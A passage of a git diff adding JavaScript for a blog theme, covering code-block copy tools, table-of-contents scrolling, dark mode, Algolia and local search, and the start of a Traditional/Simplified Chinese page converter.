' + } + + const copy = (text, ctx) => { + if (document.queryCommandSupported && document.queryCommandSupported('copy')) { + document.execCommand('copy') + if (GLOBAL_CONFIG.Snackbar !== undefined) { + btf.snackbarShow(GLOBAL_CONFIG.copy.success) + } else { + const prevEle = ctx.previousElementSibling + prevEle.innerText = GLOBAL_CONFIG.copy.success + prevEle.style.opacity = 1 + setTimeout(() => { prevEle.style.opacity = 0 }, 700) + } + } else { + if (GLOBAL_CONFIG.Snackbar !== undefined) { + btf.snackbarShow(GLOBAL_CONFIG.copy.noSupport) + } else { + ctx.previousElementSibling.innerText = GLOBAL_CONFIG.copy.noSupport + } + } + } + + // click events + const highlightCopyFn = (ele) => { + const $buttonParent = ele.parentNode + $buttonParent.classList.add('copy-true') + const selection = window.getSelection() + const range = document.createRange() + if (isPrismjs) range.selectNodeContents($buttonParent.querySelectorAll('pre code')[0]) + else range.selectNodeContents($buttonParent.querySelectorAll('table .code pre')[0]) + selection.removeAllRanges() + selection.addRange(range) + const text = selection.toString() + copy(text, ele.lastChild) + selection.removeAllRanges() + $buttonParent.classList.remove('copy-true') + } + + const highlightShrinkFn = (ele) => { + const $nextEle = [...ele.parentNode.children].slice(1) + ele.firstChild.classList.toggle('closed') + if (btf.isHidden($nextEle[$nextEle.length - 1])) { + $nextEle.forEach(e => { e.style.display = 'block' }) + } else { + $nextEle.forEach(e => { e.style.display = 'none' }) + } + } + + const highlightToolsFn = function (e) { + const $target = e.target.classList + if ($target.contains('expand')) highlightShrinkFn(this) + else if ($target.contains('copy-button')) highlightCopyFn(this) + } + + const expandCode = function () { + this.classList.toggle('expand-done') + } + + function createEle (lang, item, service) { + const fragment = document.createDocumentFragment() + + if (isShowTool) { + const hlTools = document.createElement('div') + hlTools.className = `highlight-tools ${highlightShrinkClass}` + hlTools.innerHTML = highlightShrinkEle + lang + highlightCopyEle + hlTools.addEventListener('click', highlightToolsFn) + fragment.appendChild(hlTools) + } + + if (highlightHeightLimit && item.offsetHeight > highlightHeightLimit + 30) { + const ele = document.createElement('div') + ele.className = 'code-expand-btn' + ele.innerHTML = '' + ele.addEventListener('click', expandCode) + fragment.appendChild(ele) + } + + if (service === 'hl') { + item.insertBefore(fragment, item.firstChild) + } else { + item.parentNode.insertBefore(fragment, item) + } + } + + if (isHighlightLang) { + if (isPrismjs) { + $figureHighlight.forEach(function (item) { + const langName = item.getAttribute('data-language') ? item.getAttribute('data-language') : 'Code' + const highlightLangEle = `
${langName}
` + btf.wrap(item, 'figure', { class: 'highlight' }) + createEle(highlightLangEle, item) + }) + } else { + $figureHighlight.forEach(function (item) { + let langName = item.getAttribute('class').split(' ')[1] + if (langName === 'plain' || langName === undefined) langName = 'Code' + const highlightLangEle = `
${langName}
` + createEle(highlightLangEle, item, 'hl') + }) + } + } else { + if (isPrismjs) { + $figureHighlight.forEach(function (item) { + btf.wrap(item, 'figure', { class: 'highlight' }) + createEle('', item) + }) + } else { + $figureHighlight.forEach(function (item) { + createEle('', item, 'hl') + }) + } + } + } + + /** + * PhotoFigcaption + */ + function addPhotoFigcaption () { + document.querySelectorAll('#article-container img').forEach(function (item) { + const parentEle = item.parentNode + const altValue = item.title || item.alt + if (altValue && !parentEle.parentNode.classList.contains('justified-gallery')) { + const ele = document.createElement('div') + ele.className = 'img-alt is-center' + ele.textContent = altValue + parentEle.insertBefore(ele, item.nextSibling) + } + }) + } + + /** + * Lightbox + */ + const runLightbox = () => { + btf.loadLightbox(document.querySelectorAll('#article-container img:not(.no-lightbox)')) + } + + /** + * justified-gallery 圖庫排版 + */ + const runJustifiedGallery = function (ele) { + ele.forEach(item => { + const $imgList = item.querySelectorAll('img') + + $imgList.forEach(i => { + const dataLazySrc = i.getAttribute('data-lazy-src') + if (dataLazySrc) i.src = dataLazySrc + btf.wrap(i, 'div', { class: 'fj-gallery-item' }) + }) + }) + + if (window.fjGallery) { + setTimeout(() => { btf.initJustifiedGallery(ele) }, 100) + return + } + + const newEle = document.createElement('link') + newEle.rel = 'stylesheet' + newEle.href = GLOBAL_CONFIG.source.justifiedGallery.css + document.body.appendChild(newEle) + getScript(`${GLOBAL_CONFIG.source.justifiedGallery.js}`).then(() => { btf.initJustifiedGallery(ele) }) + } + + /** + * 滾動處理 + */ + const scrollFn = function () { + const $rightside = document.getElementById('rightside') + const innerHeight = window.innerHeight + 56 + + // 當滾動條小于 56 的時候 + if (document.body.scrollHeight <= innerHeight) { + $rightside.style.cssText = 'opacity: 1; transform: translateX(-58px)' + return + } + + // find the scroll direction + function scrollDirection (currentTop) { + const result = currentTop > initTop // true is down & false is up + initTop = currentTop + return result + } + + let initTop = 0 + let isChatShow = true + const $header = document.getElementById('page-header') + const isChatBtnHide = typeof chatBtnHide === 'function' + const isChatBtnShow = typeof chatBtnShow === 'function' + + const scrollTask = btf.throttle(() => { + const currentTop = window.scrollY || document.documentElement.scrollTop + const isDown = scrollDirection(currentTop) + if (currentTop > 56) { + if (isDown) { + if ($header.classList.contains('nav-visible')) $header.classList.remove('nav-visible') + if (isChatBtnShow && isChatShow === true) { + chatBtnHide() + isChatShow = false + } + } else { + if (!$header.classList.contains('nav-visible')) $header.classList.add('nav-visible') + if (isChatBtnHide && isChatShow === false) { + chatBtnShow() + isChatShow = true + } + } + $header.classList.add('nav-fixed') + if (window.getComputedStyle($rightside).getPropertyValue('opacity') === '0') { + $rightside.style.cssText = 'opacity: 0.8; transform: translateX(-58px)' + } + } else { + if (currentTop === 0) { + $header.classList.remove('nav-fixed', 'nav-visible') + } + $rightside.style.cssText = "opacity: ''; transform: ''" + } + + if (document.body.scrollHeight <= innerHeight) { + $rightside.style.cssText = 'opacity: 0.8; transform: translateX(-58px)' + } + }, 200) + + window.scrollCollect = scrollTask + + window.addEventListener('scroll', scrollCollect) + } + + /** + * toc,anchor + */ + const scrollFnToDo = function () { + const isToc = GLOBAL_CONFIG_SITE.isToc + const isAnchor = GLOBAL_CONFIG.isAnchor + const $article = document.getElementById('article-container') + + if (!($article && (isToc || isAnchor))) return + + let $tocLink, $cardToc, scrollPercent, autoScrollToc, isExpand + + if (isToc) { + const $cardTocLayout = document.getElementById('card-toc') + $cardToc = $cardTocLayout.getElementsByClassName('toc-content')[0] + $tocLink = $cardToc.querySelectorAll('.toc-link') + const $tocPercentage = $cardTocLayout.querySelector('.toc-percentage') + isExpand = $cardToc.classList.contains('is-expand') + + scrollPercent = currentTop => { + const docHeight = $article.clientHeight + const winHeight = document.documentElement.clientHeight + const headerHeight = $article.offsetTop + const contentMath = (docHeight > winHeight) ? (docHeight - winHeight) : (document.documentElement.scrollHeight - winHeight) + const scrollPercent = (currentTop - headerHeight) / (contentMath) + const scrollPercentRounded = Math.round(scrollPercent * 100) + const percentage = (scrollPercentRounded > 100) ? 100 : (scrollPercentRounded <= 0) ? 0 : scrollPercentRounded + $tocPercentage.textContent = percentage + } + + window.mobileToc = { + open: () => { + $cardTocLayout.style.cssText = 'animation: toc-open .3s; opacity: 1; right: 55px' + }, + + close: () => { + $cardTocLayout.style.animation = 'toc-close .2s' + setTimeout(() => { + $cardTocLayout.style.cssText = "opacity:''; animation: ''; right: ''" + }, 100) + } + } + + // toc元素點擊 + $cardToc.addEventListener('click', e => { + e.preventDefault() + const target = e.target.classList + if (target.contains('toc-content')) return + const $target = target.contains('toc-link') + ? e.target + : e.target.parentElement + btf.scrollToDest(btf.getEleTop(document.getElementById(decodeURI($target.getAttribute('href')).replace('#', ''))), 300) + if (window.innerWidth < 900) { + window.mobileToc.close() + } + }) + + autoScrollToc = item => { + const activePosition = item.getBoundingClientRect().top + const sidebarScrollTop = $cardToc.scrollTop + if (activePosition > (document.documentElement.clientHeight - 100)) { + $cardToc.scrollTop = sidebarScrollTop + 150 + } + if (activePosition < 100) { + $cardToc.scrollTop = sidebarScrollTop - 150 + } + } + } + + // find head position & add active class + const list = $article.querySelectorAll('h1,h2,h3,h4,h5,h6') + let detectItem = '' + const findHeadPosition = function (top) { + if (top === 0) { + return false + } + + let currentId = '' + let currentIndex = '' + + list.forEach(function (ele, index) { + if (top > btf.getEleTop(ele) - 80) { + const id = ele.id + currentId = id ? '#' + encodeURI(id) : '' + currentIndex = index + } + }) + + if (detectItem === currentIndex) return + + if (isAnchor) btf.updateAnchor(currentId) + + detectItem = currentIndex + + if (isToc) { + $cardToc.querySelectorAll('.active').forEach(i => { i.classList.remove('active') }) + + if (currentId === '') { + return + } + + const currentActive = $tocLink[currentIndex] + currentActive.classList.add('active') + + setTimeout(() => { + autoScrollToc(currentActive) + }, 0) + + if (isExpand) return + let parent = currentActive.parentNode + + for (; !parent.matches('.toc'); parent = parent.parentNode) { + if (parent.matches('li')) parent.classList.add('active') + } + } + } + + // main of scroll + window.tocScrollFn = function () { + return btf.throttle(function () { + const currentTop = window.scrollY || document.documentElement.scrollTop + isToc && scrollPercent(currentTop) + findHeadPosition(currentTop) + }, 100)() + } + window.addEventListener('scroll', tocScrollFn) + } + + /** + * Rightside + */ + const rightSideFn = { + switchReadMode: () => { // read-mode + const $body = document.body + $body.classList.add('read-mode') + const newEle = document.createElement('button') + newEle.type = 'button' + newEle.className = 'fas fa-sign-out-alt exit-readmode' + $body.appendChild(newEle) + + function clickFn () { + $body.classList.remove('read-mode') + newEle.remove() + newEle.removeEventListener('click', clickFn) + } + + newEle.addEventListener('click', clickFn) + }, + switchDarkMode: () => { // Switch Between Light And Dark Mode + const nowMode = document.documentElement.getAttribute('data-theme') === 'dark' ? 'dark' : 'light' + if (nowMode === 'light') { + activateDarkMode() + saveToLocal.set('theme', 'dark', 2) + GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.day_to_night) + } else { + activateLightMode() + saveToLocal.set('theme', 'light', 2) + GLOBAL_CONFIG.Snackbar !== undefined && btf.snackbarShow(GLOBAL_CONFIG.Snackbar.night_to_day) + } + // handle some cases + typeof utterancesTheme === 'function' && utterancesTheme() + typeof changeGiscusTheme === 'function' && changeGiscusTheme() + typeof FB === 'object' && window.loadFBComment && window.loadFBComment() + typeof runMermaid === 'function' && window.runMermaid() + }, + showOrHideBtn: (e) => { // rightside 點擊設置 按鈕 展開 + const rightsideHideClassList = document.getElementById('rightside-config-hide').classList + rightsideHideClassList.toggle('show') + if (e.classList.contains('show')) { + rightsideHideClassList.add('status') + setTimeout(() => { + rightsideHideClassList.remove('status') + }, 300) + } + e.classList.toggle('show') + }, + scrollToTop: () => { // Back to top + btf.scrollToDest(0, 500) + }, + hideAsideBtn: () => { // Hide aside + const $htmlDom = document.documentElement.classList + $htmlDom.contains('hide-aside') + ? saveToLocal.set('aside-status', 'show', 2) + : saveToLocal.set('aside-status', 'hide', 2) + $htmlDom.toggle('hide-aside') + }, + + runMobileToc: () => { + if (window.getComputedStyle(document.getElementById('card-toc')).getPropertyValue('opacity') === '0') window.mobileToc.open() + else window.mobileToc.close() + } + } + + document.getElementById('rightside').addEventListener('click', function (e) { + const $target = e.target.id ? e.target : e.target.parentNode + switch ($target.id) { + case 'go-up': + rightSideFn.scrollToTop() + break + case 'rightside_config': + rightSideFn.showOrHideBtn($target) + break + case 'mobile-toc-button': + rightSideFn.runMobileToc() + break + case 'readmode': + rightSideFn.switchReadMode() + break + case 'darkmode': + rightSideFn.switchDarkMode() + break + case 'hide-aside-btn': + rightSideFn.hideAsideBtn() + break + default: + break + } + }) + + /** + * menu + * 側邊欄sub-menu 展開/收縮 + */ + const clickFnOfSubMenu = () => { + document.querySelectorAll('#sidebar-menus .site-page.group').forEach(function (item) { + item.addEventListener('click', function () { + this.classList.toggle('hide') + }) + }) + } + + /** + * 複製時加上版權信息 + */ + const addCopyright = () => { + const copyright = GLOBAL_CONFIG.copyright + document.body.oncopy = (e) => { + e.preventDefault() + let textFont; const copyFont = window.getSelection(0).toString() + if (copyFont.length > copyright.limitCount) { + textFont = copyFont + '\n' + '\n' + '\n' + + copyright.languages.author + '\n' + + copyright.languages.link + window.location.href + '\n' + + copyright.languages.source + '\n' + + copyright.languages.info + } else { + textFont = copyFont + } + if (e.clipboardData) { + return e.clipboardData.setData('text', textFont) + } else { + return window.clipboardData.setData('text', textFont) + } + } + } + + /** + * 網頁運行時間 + */ + const addRuntime = () => { + const $runtimeCount = document.getElementById('runtimeshow') + if ($runtimeCount) { + const publishDate = $runtimeCount.getAttribute('data-publishDate') + $runtimeCount.innerText = btf.diffDate(publishDate) + ' ' + GLOBAL_CONFIG.runtime + } + } + + /** + * 最後一次更新時間 + */ + const addLastPushDate = () => { + const $lastPushDateItem = document.getElementById('last-push-date') + if ($lastPushDateItem) { + const lastPushDate = $lastPushDateItem.getAttribute('data-lastPushDate') + $lastPushDateItem.innerText = btf.diffDate(lastPushDate, true) + } + } + + /** + * table overflow + */ + const addTableWrap = () => { + const $table = document.querySelectorAll('#article-container :not(.highlight) > table, #article-container > table') + if ($table.length) { + $table.forEach(item => { + btf.wrap(item, 'div', { class: 'table-wrap' }) + }) + } + } + + /** + * tag-hide + */ + const clickFnOfTagHide = function () { + const $hideInline = document.querySelectorAll('#article-container .hide-button') + if ($hideInline.length) { + $hideInline.forEach(function (item) { + item.addEventListener('click', function (e) { + const $this = this + $this.classList.add('open') + const $fjGallery = $this.nextElementSibling.querySelectorAll('.fj-gallery') + $fjGallery.length && btf.initJustifiedGallery($fjGallery) + }) + }) + } + } + + const tabsFn = { + clickFnOfTabs: function () { + document.querySelectorAll('#article-container .tab > button').forEach(function (item) { + item.addEventListener('click', function (e) { + const $this = this + const $tabItem = $this.parentNode + + if (!$tabItem.classList.contains('active')) { + const $tabContent = $tabItem.parentNode.nextElementSibling + const $siblings = btf.siblings($tabItem, '.active')[0] + $siblings && $siblings.classList.remove('active') + $tabItem.classList.add('active') + const tabId = $this.getAttribute('data-href').replace('#', '') + const childList = [...$tabContent.children] + childList.forEach(item => { + if (item.id === tabId) item.classList.add('active') + else item.classList.remove('active') + }) + const $isTabJustifiedGallery = $tabContent.querySelectorAll(`#${tabId} .fj-gallery`) + if ($isTabJustifiedGallery.length > 0) { + btf.initJustifiedGallery($isTabJustifiedGallery) + } + } + }) + }) + }, + backToTop: () => { + document.querySelectorAll('#article-container .tabs .tab-to-top').forEach(function (item) { + item.addEventListener('click', function () { + btf.scrollToDest(btf.getEleTop(btf.getParents(this, '.tabs')), 300) + }) + }) + } + } + + const toggleCardCategory = function () { + const $cardCategory = document.querySelectorAll('#aside-cat-list .card-category-list-item.parent i') + if ($cardCategory.length) { + $cardCategory.forEach(function (item) { + item.addEventListener('click', function (e) { + e.preventDefault() + const $this = this + $this.classList.toggle('expand') + const $parentEle = $this.parentNode.nextElementSibling + if (btf.isHidden($parentEle)) { + $parentEle.style.display = 'block' + } else { + $parentEle.style.display = 'none' + } + }) + }) + } + } + + const switchComments = function () { + let switchDone = false + const $switchBtn = document.querySelector('#comment-switch > .switch-btn') + $switchBtn && $switchBtn.addEventListener('click', function () { + this.classList.toggle('move') + document.querySelectorAll('#post-comment > .comment-wrap > div').forEach(function (item) { + if (btf.isHidden(item)) { + item.style.cssText = 'display: block;animation: tabshow .5s' + } else { + item.style.cssText = "display: none;animation: ''" + } + }) + + if (!switchDone && typeof loadOtherComment === 'function') { + switchDone = true + loadOtherComment() + } + }) + } + + const addPostOutdateNotice = function () { + const data = GLOBAL_CONFIG.noticeOutdate + const diffDay = btf.diffDate(GLOBAL_CONFIG_SITE.postUpdate) + if (diffDay >= data.limitDay) { + const ele = document.createElement('div') + ele.className = 'post-outdate-notice' + ele.textContent = data.messagePrev + ' ' + diffDay + ' ' + data.messageNext + const $targetEle = document.getElementById('article-container') + if (data.position === 'top') { + $targetEle.insertBefore(ele, $targetEle.firstChild) + } else { + $targetEle.appendChild(ele) + } + } + } + + const lazyloadImg = () => { + window.lazyLoadInstance = new LazyLoad({ + elements_selector: 'img', + threshold: 0, + data_src: 'lazy-src' + }) + } + + const relativeDate = function (selector) { + selector.forEach(item => { + const $this = item + const timeVal = $this.getAttribute('datetime') + $this.innerText = btf.diffDate(timeVal, true) + $this.style.display = 'inline' + }) + } + + const unRefreshFn = function () { + window.addEventListener('resize', () => { + adjustMenu(false) + btf.isHidden(document.getElementById('toggle-menu')) && mobileSidebarOpen && sidebarFn.close() + }) + + document.getElementById('menu-mask').addEventListener('click', e => { sidebarFn.close() }) + + clickFnOfSubMenu() + GLOBAL_CONFIG.islazyload && lazyloadImg() + GLOBAL_CONFIG.copyright !== undefined && addCopyright() + } + + window.refreshFn = function () { + initAdjust() + + if (GLOBAL_CONFIG_SITE.isPost) { + GLOBAL_CONFIG.noticeOutdate !== undefined && addPostOutdateNotice() + GLOBAL_CONFIG.relativeDate.post && relativeDate(document.querySelectorAll('#post-meta time')) + } else { + GLOBAL_CONFIG.relativeDate.homepage && relativeDate(document.querySelectorAll('#recent-posts time')) + GLOBAL_CONFIG.runtime && addRuntime() + addLastPushDate() + toggleCardCategory() + } + + scrollFnToDo() + GLOBAL_CONFIG_SITE.isHome && scrollDownInIndex() + addHighlightTool() + GLOBAL_CONFIG.isPhotoFigcaption && addPhotoFigcaption() + scrollFn() + + const $jgEle = document.querySelectorAll('#article-container .fj-gallery') + $jgEle.length && runJustifiedGallery($jgEle) + + runLightbox() + addTableWrap() + clickFnOfTagHide() + tabsFn.clickFnOfTabs() + tabsFn.backToTop() + switchComments() + document.getElementById('toggle-menu').addEventListener('click', () => { sidebarFn.open() }) + } + + refreshFn() + unRefreshFn() +}) diff --git a/js/search/algolia.js b/js/search/algolia.js new file mode 100644 index 0000000000..f0b9f3a970 --- /dev/null +++ b/js/search/algolia.js @@ -0,0 +1,163 @@ +window.addEventListener('load', () => { + const openSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '100%' + bodyStyle.overflow = 'hidden' + btf.animateIn(document.getElementById('search-mask'), 'to_show 0.5s') + btf.animateIn(document.querySelector('#algolia-search .search-dialog'), 'titleScale 0.5s') + setTimeout(() => { document.querySelector('#algolia-search .ais-SearchBox-input').focus() }, 100) + + // shortcut: ESC + document.addEventListener('keydown', function f (event) { + if (event.code === 'Escape') { + closeSearch() + document.removeEventListener('keydown', f) + } + }) + } + + const closeSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '' + bodyStyle.overflow = '' + btf.animateOut(document.querySelector('#algolia-search .search-dialog'), 'search_close .5s') + btf.animateOut(document.getElementById('search-mask'), 'to_hide 0.5s') + } + + const searchClickFn = () => { + document.querySelector('#search-button > .search').addEventListener('click', openSearch) + } + + const searchClickFnOnce = () => { + document.getElementById('search-mask').addEventListener('click', closeSearch) + document.querySelector('#algolia-search .search-close-button').addEventListener('click', closeSearch) + } + + const cutContent = content => { + if (content === '') return '' + + const firstOccur = content.indexOf('') + + let start = firstOccur - 30 + let end = firstOccur + 120 + let pre = '' + let post = '' + + if (start <= 0) { + start = 0 + end = 140 + } else { + pre = '...' + } + + if (end > content.length) { + end = content.length + } else { + post = '...' + } + + let matchContent = pre + content.substring(start, end) + post + return matchContent + } + + const algolia = GLOBAL_CONFIG.algolia + const isAlgoliaValid = algolia.appId && algolia.apiKey && algolia.indexName + if (!isAlgoliaValid) { + return console.error('Algolia setting is invalid!') + } + + const search = instantsearch({ + indexName: algolia.indexName, + searchClient: algoliasearch(algolia.appId, algolia.apiKey), + searchFunction(helper) { + helper.state.query && helper.search() + }, + }) + + const configure = instantsearch.widgets.configure({ + hitsPerPage: 5 + }) + + const searchBox = instantsearch.widgets.searchBox({ + container: '#algolia-search-input', + showReset: false, + showSubmit: false, + placeholder: GLOBAL_CONFIG.algolia.languages.input_placeholder, + showLoadingIndicator: true + }) + + const hits = instantsearch.widgets.hits({ + container: '#algolia-hits', + templates: { + item(data) { + const link = data.permalink ? data.permalink : (GLOBAL_CONFIG.root + data.path) + const result = data._highlightResult + const content = result.contentStripTruncate + ? cutContent(result.contentStripTruncate.value) + : result.contentStrip + ? cutContent(result.contentStrip.value) + : result.content + ? cutContent(result.content.value) + : '' + return ` + + ${result.title.value || 'no-title'} + +

${content}

` + }, + empty: function (data) { + return ( + '
' + + GLOBAL_CONFIG.algolia.languages.hits_empty.replace(/\$\{query}/, data.query) + + '
' + ) + } + } + }) + + const stats = instantsearch.widgets.stats({ + container: '#algolia-info > .algolia-stats', + templates: { + text: function (data) { + const stats = GLOBAL_CONFIG.algolia.languages.hits_stats + .replace(/\$\{hits}/, data.nbHits) + .replace(/\$\{time}/, data.processingTimeMS) + return ( + `
${stats}` + ) + } + } + }) + + const powerBy = instantsearch.widgets.poweredBy({ + container: '#algolia-info > .algolia-poweredBy', + }) + + const pagination = instantsearch.widgets.pagination({ + container: '#algolia-pagination', + totalPages: 5, + templates: { + first: '', + last: '', + previous: '', + next: '' + } + }) + + + search.addWidgets([configure,searchBox,hits,stats,powerBy,pagination]) // add the widgets to the instantsearch instance + + search.start() + + searchClickFn() + searchClickFnOnce() + + window.addEventListener('pjax:complete', () => { + getComputedStyle(document.querySelector('#algolia-search .search-dialog')).display === 'block' && closeSearch() + searchClickFn() + }) + + window.pjax && search.on('render', () => { + window.pjax.refresh(document.getElementById('algolia-hits')) + }) +}) diff --git a/js/search/local-search.js b/js/search/local-search.js new file mode 100644 index 0000000000..6c1ca7dc56 --- /dev/null +++ b/js/search/local-search.js @@ -0,0 +1,188 @@ +window.addEventListener('load', () => { + let loadFlag = false + let dataObj = [] + const $searchMask = document.getElementById('search-mask') + + const openSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '100%' + bodyStyle.overflow = 'hidden' + btf.animateIn($searchMask, 'to_show 0.5s') + btf.animateIn(document.querySelector('#local-search .search-dialog'), 'titleScale 0.5s') + setTimeout(() => { document.querySelector('#local-search-input input').focus() }, 100) + if (!loadFlag) { + search() + loadFlag = true + } + // shortcut: ESC + document.addEventListener('keydown', function f (event) { + if (event.code === 'Escape') { + closeSearch() + document.removeEventListener('keydown', f) + } + }) + } + + const closeSearch = () => { + const bodyStyle = document.body.style + bodyStyle.width = '' + bodyStyle.overflow = '' + btf.animateOut(document.querySelector('#local-search .search-dialog'), 'search_close .5s') + btf.animateOut($searchMask, 'to_hide 0.5s') + } + + const searchClickFn = () => { + document.querySelector('#search-button > .search').addEventListener('click', openSearch) + } + + const searchClickFnOnce = () => { + document.querySelector('#local-search .search-close-button').addEventListener('click', closeSearch) + $searchMask.addEventListener('click', closeSearch) + if (GLOBAL_CONFIG.localSearch.preload) dataObj = fetchData(GLOBAL_CONFIG.localSearch.path) + } + + // check url is json or not + const isJson = url => { + const reg = /\.json$/ + return reg.test(url) + } + + const fetchData = async (path) => { + let data = [] + const response = await fetch(path) + if (isJson(path)) { + data = await response.json() + } else { + const res = await response.text() + const t = await new window.DOMParser().parseFromString(res, 'text/xml') + const a = await t + data = [...a.querySelectorAll('entry')].map(item =>{ + return { + title: item.querySelector('title').textContent, + content: item.querySelector('content') && item.querySelector('content').textContent, + url: item.querySelector('url').textContent + } + }) + } + if (response.ok) { + const $loadDataItem = document.getElementById('loading-database') + $loadDataItem.nextElementSibling.style.display = 'block' + $loadDataItem.remove() + } + return data + } + + const search = () => { + if (!GLOBAL_CONFIG.localSearch.preload) { + dataObj = fetchData(GLOBAL_CONFIG.localSearch.path) + } + + const $input = document.querySelector('#local-search-input input') + const $resultContent = document.getElementById('local-search-results') + const $loadingStatus = document.getElementById('loading-status') + + $input.addEventListener('input', function () { + const keywords = this.value.trim().toLowerCase().split(/[\s]+/) + if (keywords[0] !== '') $loadingStatus.innerHTML = '' + + $resultContent.innerHTML = '' + let str = '
' + if (keywords.length <= 0) return + let count = 0 + // perform local searching + dataObj.then(data => { + data.forEach(data => { + let isMatch = true + let dataTitle = data.title ? data.title.trim().toLowerCase() : '' + const dataContent = data.content ? data.content.trim().replace(/<[^>]+>/g, '').toLowerCase() : '' + const dataUrl = data.url.startsWith('/') ? data.url : GLOBAL_CONFIG.root + data.url + let indexTitle = -1 + let indexContent = -1 + let firstOccur = -1 + // only match articles with not empty titles and contents + if (dataTitle !== '' || dataContent !== '') { + keywords.forEach((keyword, i) => { + indexTitle = dataTitle.indexOf(keyword) + indexContent = dataContent.indexOf(keyword) + if (indexTitle < 0 && indexContent < 0) { + isMatch = false + } else { + if (indexContent < 0) { + indexContent = 0 + } + if (i === 0) { + firstOccur = indexContent + } + } + }) + } else { + isMatch = false + } + + // show search results + if (isMatch) { + if (firstOccur >= 0) { + // cut out 130 characters + // let start = firstOccur - 30 < 0 ? 0 : firstOccur - 30 + // let end = firstOccur + 50 > dataContent.length ? dataContent.length : firstOccur + 50 + let start = firstOccur - 30 + let end = firstOccur + 100 + let pre = '' + let post = '' + + if (start < 0) { + start = 0 + } + + if (start === 0) { + end = 100 + } else { + pre = '...' + } + + if (end > dataContent.length) { + end = dataContent.length + } else { + post = '...' + } + + let matchContent = dataContent.substring(start, end) + + // highlight all keywords + keywords.forEach(keyword => { + const regS = new RegExp(keyword, 'gi') + matchContent = matchContent.replace(regS, '' + keyword + '') + dataTitle = dataTitle.replace(regS, '' + keyword + '') + }) + + str += '
' + dataTitle + '' + count += 1 + + if (dataContent !== '') { + str += '

' + pre + matchContent + post + '

' + } + } + str += '
' + } + }) + if (count === 0) { + str += '
' + GLOBAL_CONFIG.localSearch.languages.hits_empty.replace(/\$\{query}/, this.value.trim()) + + '
' + } + str += '
' + $resultContent.innerHTML = str + if (keywords[0] !== '') $loadingStatus.innerHTML = '' + window.pjax && window.pjax.refresh($resultContent) + }) + }) + } + + searchClickFn() + searchClickFnOnce() + + // pjax + window.addEventListener('pjax:complete', () => { + !btf.isHidden($searchMask) && closeSearch() + searchClickFn() + }) +}) diff --git a/js/tw_cn.js b/js/tw_cn.js new file mode 100644 index 0000000000..ec9d37d13c --- /dev/null +++ b/js/tw_cn.js @@ -0,0 +1,100 @@ +/* eslint-disable no-undef */ +document.addEventListener('DOMContentLoaded', function () { + const translate = GLOBAL_CONFIG.translate + const snackbarData = GLOBAL_CONFIG.Snackbar + const defaultEncoding = translate.defaultEncoding // 網站默認語言,1: 繁體中文, 2: 簡體中文 + const translateDelay = translate.translateDelay // 延遲時間,若不在前, 要設定延遲翻譯時間, 如100表示100ms,默認為0 + const msgToTraditionalChinese = translate.msgToTraditionalChinese // 此處可以更改為你想要顯示的文字 + const msgToSimplifiedChinese = translate.msgToSimplifiedChinese // 同上,但兩處均不建議更改 + let currentEncoding = defaultEncoding + const targetEncodingCookie = 'translate-chn-cht' + let targetEncoding = + saveToLocal.get(targetEncodingCookie) === undefined + ? defaultEncoding + : Number(saveToLocal.get('translate-chn-cht')) + let translateButtonObject + const isSnackbar = GLOBAL_CONFIG.Snackbar !== undefined + + function translateText (txt) { + if (txt === '' || txt == null) return '' + if (currentEncoding === 1 && targetEncoding === 2) return Simplized(txt) + else if (currentEncoding === 2 && targetEncoding === 1) { return Traditionalized(txt) } else return txt + } + function translateBody (fobj) { + let objs + if (typeof fobj === 'object') objs = fobj.childNodes + else objs = document.body.childNodes + for (let i = 0; i < objs.length; i++) { + const obj = objs.item(i) + if ( + '||BR|HR|'.indexOf('|' + obj.tagName + '|') > 0 || + obj === translateButtonObject + ) { continue } + if (obj.title !== '' && obj.title != null) { obj.title = translateText(obj.title) } + if (obj.alt !== '' && obj.alt != null) obj.alt = translateText(obj.alt) + if (obj.placeholder !== '' && obj.placeholder != null) obj.placeholder = translateText(obj.placeholder) + if ( + obj.tagName === 'INPUT' && + obj.value !== '' && + obj.type !== 'text' && + obj.type !== 'hidden' + ) { obj.value = translateText(obj.value) } + if (obj.nodeType === 3) obj.data = translateText(obj.data) + else translateBody(obj) + } + } + function translatePage () { + if (targetEncoding === 1) { + currentEncoding = 1 + targetEncoding = 2 + translateButtonObject.innerHTML = msgToTraditionalChinese + saveToLocal.set(targetEncodingCookie, targetEncoding, 2) + translateBody() + if (isSnackbar) btf.snackbarShow(snackbarData.cht_to_chs) + } else if (targetEncoding === 2) { + currentEncoding = 2 + targetEncoding = 1 + translateButtonObject.innerHTML = msgToSimplifiedChinese + saveToLocal.set(targetEncodingCookie, targetEncoding, 2) + translateBody() + if (isSnackbar) btf.snackbarShow(snackbarData.chs_to_cht) + } + } + function JTPYStr () { + return 